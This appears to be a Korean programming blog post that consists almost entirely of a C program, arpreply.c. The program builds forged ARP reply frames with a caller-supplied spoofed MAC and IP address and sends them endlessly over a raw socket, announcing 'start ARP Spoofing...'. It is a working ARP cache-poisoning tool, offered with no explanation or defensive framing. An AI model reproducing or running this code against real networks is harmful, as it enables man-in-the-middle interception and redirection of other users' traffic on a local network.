본문 바로가기

Programming

arpreply.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/socket.h>


typedef struct _tagL2FRAME{ 


 //{{ Ethernet Header

 unsigned char   dest_hwaddr[6];

 unsigned char   src_hwaddr[6];

 unsigned short   type;

 //}} Ethernet Header


 //{{ ARP Header

 unsigned short   hardtype;

 unsigned short   protocol;

 unsigned char   hsize;

 unsigned char   psize;

 unsigned short   opcode;

 unsigned char   src_macaddr[6];

 unsigned int   src_ipaddr;

 unsigned char   dest_macaddr[6];

 unsigned int   dest_ipaddr;

 unsigned char   padding[18];

 //}} ARP Header


}L2FRAME;


void InitL2Frame(L2FRAME* p){


 printf("Initializing L2 Frame... size:%d\n", sizeof(*p));

 memset(p, 0, sizeof(*p));

 p->type = htons( 0x0806 ); // ARP PAYLOAD

 p->hardtype = htons( 0x0001 ); // Ethernet

 p->protocol = htons( 0x0800 ); // IPv4

 p->opcode = htons( 0x0002 ); // ARP Response

 p->hsize = 6;

 p->psize = 4;

 

}



int SetHWAddr(unsigned char* dest, char* src){

 int i;

 unsigned int tmp;

 for(i=0; i<6; i++){

  sscanf( (src + i*3), "%02X", &tmp );

  dest[i] = (unsigned char)tmp;

 }

 return 0;

}


void PrintHWAddr(unsigned char* p){

 int i;

 for(i=0; i<6; i++){

  printf( "%02X", (unsigned int)p[i] );

  if(i!=5) printf(":");

 }

 printf("\n");

}


void dump(unsigned char* p){

 int i;

 for(i=0; i<48; i++){

  printf( "%02X ", (unsigned int)p[i] );

 }

 printf("\n");

}


int main(int argc, char* argv[]){


 if(argc < 6){

  printf("usage : ./arpreply [interface] [second] [target_hwaddr] [src_hwaddr] [src_ip]\n");

  return 0;

 }


 int sd = socket(AF_INET, SOCK_PACKET, htons(0x0003));


 struct sockaddr myaddr;

 memset(&myaddr, 0, sizeof(myaddr));

 myaddr.sa_family = AF_INET;

 strcpy(myaddr.sa_data, argv[1]);

 int r = bind(sd, &myaddr, sizeof(myaddr));


 if(r==0) printf("socket binded to interface %s\n", argv[1]);

 else{

  printf("can't bind %s to socket\n", argv[1]);

  return 0;

 }


 int len=sizeof(myaddr);

 int delay = atoi( argv[2] );


 L2FRAME l2;

 InitL2Frame( &l2 ); 


 // set target MAC address

 printf("setting target MAC address... %s\n", argv[3]);

 r = SetHWAddr( l2.dest_hwaddr, argv[3] );

 r -= SetHWAddr( l2.dest_macaddr, argv[3] );

 if(r < 0){

  printf("wrong format MAC Addr(should be form of 11:22:33:44:55:66)\n");

  return 0;

 }

 

 // set source MAC address

 printf("setting source MAC address... %s\n", argv[4]);

 r = SetHWAddr( l2.src_hwaddr, argv[4] );

 r -= SetHWAddr( l2.src_macaddr, argv[4] );

 if(r < 0){

  printf("wrong format MAC Addr(should be form of 11:22:33:44:55:66)\n");

  return 0;

 }


 // set source IP address

 l2.src_ipaddr = inet_addr( argv[5] );

 printf("setting source IP... %s\n", argv[5]);


 dump( (unsigned char*)&l2 );


 int n=0;

 printf("start ARP Spoofing...\n");

 while(1){

  r = sendto(sd, &l2, sizeof(l2), 0, &myaddr, len);

 // r = sendto(sd, frame, sizeof(frame), 0, &myaddr, len);

  if(r < 0){

   printf("interface unavailable\n");

   break;

  }

  n++;

  printf("\r%d packets transmitted", n);

  fflush(stdout);

  sleep( delay );

 }


 close(sd);

 return 0;

}


'Programming' 카테고리의 다른 글

sniffer.c  (0) 2013.03.19
proxy.c  (0) 2013.03.19
print segment registers.c  (0) 2013.03.19
linux thread.c  (0) 2013.03.19
linux 2.6 kernel modules  (0) 2013.03.19